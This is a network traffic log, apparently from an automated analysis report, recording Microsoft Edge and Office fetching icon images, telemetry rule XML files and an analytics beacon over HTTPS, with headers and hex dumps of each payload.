2024-11-26 09:09:31 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:31 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: ab62deda-d01e-0047-3391-3fb76c000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T090931Z-174f7845968frfdmhC1EWRxxbw0000000v90000000004b10 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 09:09:31 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:30 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:31 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090931Z-174f7845968g6hv8hC1EWR1v2n000000031g000000009ycv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:31 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49823	13.107.246.40	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:30 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:31 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:31 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: e356b228-901e-0004-0cad-3f9d85000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T090931Z-174f7845968frfdmhC1EWRxxbw0000000vbg0000000014kd Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 09:09:31 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49826	13.107.246.40	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:30 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:31 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:31 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 204c33f4-801e-0054-0391-3f828d000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T090931Z-174f7845968j6t2phC1EWRcfe80000000v9g000000009b4y Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 09:09:31 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:30 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:31 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: f5c4af5a-301e-005d-6385-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090931Z-174f784596886s2bhC1EWR743w0000000v7g000000006149 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:31 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:31 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: b18988de-c01e-0079-2891-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090931Z-174f7845968xr5c2hC1EWRd0hn0000000c3g0000000031b2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:31 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 02716611-001e-00ad-7089-3f554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090931Z-174f7845968glpgnhC1EWR7uec0000000v9g00000000961t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:31 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:31 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: f5817373-b01e-003e-3591-3f8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090931Z-174f7845968g6hv8hC1EWR1v2n0000000350000000004bd2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 09:09:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.5	49837	13.107.246.40	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:32 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:33 UTC	523	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:33 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: af3ad659-301e-0020-15e2-3f04cb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T090933Z-174f7845968xr5c2hC1EWRd0hn0000000c3g0000000031c3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-26 09:09:33 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.5	49808	18.165.220.106	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:32 UTC	925	OUT	GET /b?rn=1732612172319&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=110737551C0664D7127822161D1F6521&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:33 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Tue, 26 Nov 2024 09:09:33 GMT Accept-CH: UA, Platform, Arch, Model, Mobile Location: /b2?rn=1732612172319&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=110737551C0664D7127822161D1F6521&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1728748b79b691e169d3a781732612173; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1728748b79b691e169d3a781732612173; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 X-Cache: Miss from cloudfront Via: 1.1 8192d9c2a41eb0d51bafc2c7271a2a64.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P1 X-Amz-Cf-Id: ld14WDBKYZcSeUmpUDexHhj1XBDt23YXn3z1uivQdCL1yTdjnxlrPg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.5	49838	13.107.246.40	443	7584	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:33 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 09:09:33 UTC	536	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:33 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: 0fa3f0b7-901e-002d-4291-3febc7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T090933Z-174f7845968frfdmhC1EWRxxbw0000000va000000000301h Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 09:09:33 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 09:09:33 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 09:09:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 09:09:33 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: b254496e-901e-0016-2991-3fefe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T090933Z-174f7845968jrjrxhC1EWRmmrs0000000vag000000005nr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
